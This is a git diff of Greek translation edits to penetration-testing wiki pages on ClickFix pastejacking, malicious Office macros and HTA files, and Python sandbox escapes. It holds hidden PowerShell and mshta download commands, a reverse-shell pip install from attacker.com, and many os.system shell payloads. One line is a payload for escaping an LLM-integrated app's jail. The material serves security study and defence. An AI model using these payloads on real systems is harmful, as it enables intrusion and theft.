Επειδή **δεν κατεβαίνει κανένα αρχείο και δεν ανοίγει καμία συνημμένη**, η τεχνική παρακάμπτει τους περισσότερους ελέγχους ασφαλείας email και διαδικτυακού περιεχομένου που παρακολουθούν συνημμένα, μακροεντολές ή άμεση εκτέλεση εντολών. Η επίθεση είναι επομένως δημοφιλής σε εκστρατείες phishing που παραδίδουν οικογένειες κακόβουλου λογισμικού όπως NetSupport RAT, Latrodectus loader ή Lumma Stealer.
@ -24,15 +24,15 @@ navigator.clipboard.writeText(payload)
```
Οι παλαιότερες εκστρατείες χρησιμοποιούσαν `document.execCommand('copy')`, ενώ οι νεότερες βασίζονται στο ασύγχρονο **Clipboard API** (`navigator.clipboard.writeText`).
## Η Ροή ClickFix / ClearFake
## Η ροή ClickFix / ClearFake
1. Ο χρήστης επισκέπτεται μια typosquatted ή παραβιασμένη ιστοσελίδα (π.χ. `docusign.sa[.]com`)
2. Ο injected **ClearFake** JavaScript καλεί έναν `unsecuredCopyToClipboard()` helper που αποθηκεύει σιωπηλά μια Base64-encoded PowerShell one-liner στο clipboard.
3. Οι HTML οδηγίες λένε στο θύμα να: *“Πατήστε **Win + R**, επικολλήστε την εντολή και πατήστε Enter για να επιλύσετε το πρόβλημα.”*
1. Ο χρήστης επισκέπτεται μια παραποιημένη ή συμβιβασμένη ιστοσελίδα (π.χ. `docusign.sa[.]com`)
2. Ο εισαγόμενος **ClearFake** JavaScript καλεί μια βοηθητική συνάρτηση `unsecuredCopyToClipboard()` που αποθηκεύει σιωπηλά μια Base64-κωδικοποιημένη PowerShell one-liner στο clipboard.
3. Οι οδηγίες HTML λένε στο θύμα να: *“Πατήστε **Win + R**, επικολλήστε την εντολή και πατήστε Enter για να επιλύσετε το πρόβλημα.”*
4. Το `powershell.exe` εκτελείται, κατεβάζοντας ένα αρχείο που περιέχει ένα νόμιμο εκτελέσιμο καθώς και ένα κακόβουλο DLL (κλασικό DLL sideloading).
5. Ο loader αποκρυπτογραφεί επιπλέον στάδια, εισάγει shellcode και εγκαθιστά επιμονή (π.χ. προγραμματισμένο έργο) τελικά εκτελεί το NetSupport RAT / Latrodectus / Lumma Stealer.
5. Ο φορτωτής αποκρυπτογραφεί επιπλέον στάδια, εισάγει shellcode και εγκαθιστά επιμονή (π.χ. προγραμματισμένο έργο) τελικά εκτελεί το NetSupport RAT / Latrodectus / Lumma Stealer.
### Παράδειγμα Αλυσίδας NetSupport RAT
### Παράδειγμα αλυσίδας NetSupport RAT
```powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
@ -55,27 +55,28 @@ powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
mshta https://iplogger.co/xxxx =+\\xxx
```
Η **mshta** κλήση εκκινεί ένα κρυφό PowerShell script που ανακτά το `PartyContinued.exe`, εξάγει το `Boat.pst` (CAB), ανακατασκευάζει το `AutoIt3.exe` μέσω του `extrac32` & της συγχώνευσης αρχείων και τελικά εκτελεί ένα `.a3x` script που εξάγει τα διαπιστευτήρια του προγράμματος περιήγησης στο `sumeriavgv.digital`.
Η **mshta** κλήση εκκινεί ένα κρυφό PowerShell script που ανακτά το `PartyContinued.exe`, εξάγει το `Boat.pst` (CAB), ανασυνθέτει το `AutoIt3.exe` μέσω του `extrac32` & της συγχώνευσης αρχείων και τελικά εκτελεί ένα `.a3x` script που εξάγει τα διαπιστευτήρια του προγράμματος περιήγησης στο `sumeriavgv.digital`.
## Ανίχνευση & Κυνήγι
Οι ομάδες Blue μπορούν να συνδυάσουν την τηλεμετρία clipboard, δημιουργίας διαδικασιών και μητρώου για να εντοπίσουν την κακή χρήση του pastejacking:
Οι ομάδες ασφαλείας μπορούν να συνδυάσουν την τηλεμετρία του clipboard, της δημιουργίας διαδικασιών και του μητρώου για να εντοπίσουν την κακή χρήση του pastejacking:
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` διατηρεί ιστορικό εντολών **Win + R** αναζητήστε ασυνήθιστες εγγραφές Base64 / obfuscated.
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` διατηρεί ιστορικό εντολών **Win + R** αναζητήστε ασυνήθεις εγγραφές Base64 / obfuscated.
* Security Event ID **4688** (Δημιουργία Διαδικασίας) όπου `ParentImage` == `explorer.exe` και `NewProcessName` σε { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
* Event ID **4663** για δημιουργίες αρχείων κάτω από `%LocalAppData%\Microsoft\Windows\WinX\` ή προσωρινά φακέλους αμέσως πριν από το ύποπτο γεγονός 4688.
* EDR clipboard sensors (αν υπάρχουν) συσχετίστε `Clipboard Write` που ακολουθείται αμέσως από μια νέα διαδικασία PowerShell.
## Μετριασμοί
1. Σκληροποίηση προγράμματος περιήγησης απενεργοποιήστε την πρόσβαση εγγραφής clipboard (`dom.events.asyncClipboard.clipboardItem` κ.λπ.) ή απαιτήστε χειρονομία χρήστη.
1. Σκληροποίηση προγράμματος περιήγησης απενεργοποιήστε την πρόσβαση εγγραφής στο clipboard (`dom.events.asyncClipboard.clipboardItem` κ.λπ.) ή απαιτήστε χειρονομία χρήστη.
2. Ευαισθητοποίηση ασφαλείας διδάξτε στους χρήστες να *πληκτρολογούν* ευαίσθητες εντολές ή να τις επικολλούν πρώτα σε έναν επεξεργαστή κειμένου.
3. PowerShell Constrained Language Mode / Execution Policy + Application Control για να αποκλείσετε αυθαίρετους one-liners.
3. PowerShell Constrained Language Mode / Execution Policy + Application Control για να αποκλείσετε αυθαίρετες one-liners.
4. Δίκτυα ελέγχου αποκλείστε τις εξερχόμενες αιτήσεις σε γνωστούς τομείς pastejacking και κακόβουλου λογισμικού C2.
## Σχετικά Τέχνασμα
* **Discord Invite Hijacking** συχνά εκμεταλλεύεται την ίδια προσέγγιση ClickFix μετά την παγίδευση χρηστών σε έναν κακόβουλο διακομιστή:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}

View File

@ -4,10 +4,10 @@
## Office Documents
Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Το Microsoft Word εκτελεί έλεγχο δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, σχεδιαστικά, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
@ -71,7 +71,7 @@ proc.Create "powershell <beacon line generated>
#### Επέκταση Εγγράφου
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει μια **στάση** **γύρω από** την επέκταση με δυνατότητα μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
#### Δημιουργοί Κακόβουλων Μακροεντολών
@ -81,7 +81,7 @@ proc.Create "powershell <beacon line generated>
## Αρχεία HTA
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός προγράμματος περιήγησης.
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης.
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται.
```html
@ -140,14 +140,16 @@ self.close
```
## Εξαναγκασμός NTLM Αυθεντικοποίησης
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** απλά για **άνοιγμα του φακέλου.**
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο και μόνο για **άνοιγμα του φακέλου.**
**Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες sandbox της python και να εκτελέσετε αυθαίρετες εντολές.
Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές.
## Βιβλιοθήκες Εκτέλεσης Εντολών
## Command Execution Libraries
Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
```python
@ -39,15 +39,15 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στην python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** την sandbox.
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
> [!CAUTION] > Η συνάρτηση **input()** της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
> [!CAUTION] > Η συνάρτηση **input()** του Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
Η Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'`
Ο Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει ο python τα modules): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Παράκαμψη της sandbox pickle με τα προεγκατεστημένα πακέτα python
## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα python
### Προεγκατεστημένα πακέτα
@ -70,9 +70,9 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
### Πακέτο Pip
Τέχνασμα που μοιράστηκε από **@isHaacK**
Τέχνασμα που μοιράστηκε ο **@isHaacK**
Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -83,15 +83,15 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell, η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
> [!TIP]
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
## Eval-ing python code
> [!WARNING]
> Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -152,7 +152,7 @@ return x
## Εκτέλεση Python χωρίς κλήσεις
Αν βρίσκεστε μέσα σε μια φυλακή python που **δεν επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
Αν βρίσκεστε μέσα σε μια python φυλακή που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -182,7 +182,7 @@ class _:pass
#### RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να εκτελούν **τυχαίο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα.
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -234,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την στοχευόμενη κλάση ως μετακλάση.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -251,7 +251,7 @@ Sub['import os; os.system("sh")']
```
#### Δημιουργία αντικειμένων με εξαιρέσεις
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** είναι **δημιουργημένο** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -315,9 +315,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
### No Builtins
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται ακίνδυνα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**ακίνδυνα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
**Python2**
```python
@ -377,7 +377,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals and locals
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
Έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να ξέρετε τι μπορείτε να έχετε πρόσβαση.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,7 +409,7 @@ class_obj.__init__.__globals__
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε κατά ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -682,9 +682,9 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο υποδεικνυόμενο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
```python
@ -705,13 +705,14 @@ return 'HAL 9000'
**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
> [!ΠΡΟΣΟΧΗ]
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead sensitive information from Python internal objects**:
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Payloads Ευαίσθητης Αποκάλυψης Πληροφοριών
### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -729,11 +730,11 @@ str(x) # Out: clueless
```
### LLM Jails bypass
Από [εδώ](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Από το format στο RCE φόρτωσης βιβλιοθηκών
### Από τη μορφή στη RCE φόρτωση βιβλιοθηκών
Σύμφωνα με το [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Σύμφωνα με το [**TypeMonkey chall από αυτή τη γραφή**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
@ -742,7 +743,7 @@ str(x) # Out: clueless
Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Ψάχνοντας για ένα gadget όπως αυτό στην python, η γραφή προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -768,16 +769,16 @@ pydll = LibraryLoader(PyDLL)
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών.
Η πρόκληση εκμεταλλεύεται στην πραγματικότητα μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών.
## Ανάλυση Αντικειμένων Python
> [!NOTE]
> [!TIP]
> Αν θέλετε να **μάθετε** για τον **bytecode της python** σε βάθος, διαβάστε αυτή την **καταπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Σε ορισμένα CTFs μπορεί να σας παρέχεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγετε.
Αυτή είναι η συνάρτηση προς επιθεώρηση:
Αυτή είναι η συνάρτηση που πρέπει να εξετάσετε:
```python
def get_flag(some_input):
var1=1
@ -806,7 +807,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Δείτε εδώ περισσότερους τόπους για να αποκτήσετε globals**](#globals-and-locals)
[**Δείτε εδώ περισσότερες τοποθεσίες για να αποκτήσετε globals**](#globals-and-locals)
### **Πρόσβαση στον κώδικα της συνάρτησης**
@ -938,7 +939,7 @@ return "Nope"
```
